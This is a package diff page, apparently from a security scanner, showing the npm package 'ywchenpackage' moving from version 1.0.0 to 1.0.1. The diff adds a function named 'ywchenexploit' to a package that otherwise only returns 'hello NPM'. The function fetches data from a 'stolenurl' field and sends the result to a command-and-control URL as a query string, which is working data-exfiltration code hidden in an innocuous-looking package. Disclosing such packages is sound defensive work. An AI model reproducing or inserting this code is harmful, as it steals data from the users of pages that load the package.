ywchenpackage 1.0.0 → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +13 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,16 @@
1
- function exploit() {
1
+ function ywchenexploit() {
2
+ let stolenurl = document.stolenurl.value;
3
+ let c2url = document.c2url.value;
4
+ fetch(stolenurl)
5
+ .then(
6
+ function(response){
7
+ return response.json();
8
+ }
9
+ ).then(
10
+ function(response){
11
+ fetch(c2url + "?data=" + JSON.stringify(response[0]));
12
+ })
2
13
  return "hello NPM"
3
14
  }
4
15
 
5
- module.exports = exploit
16
+ module.exports = ywchenexploit
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {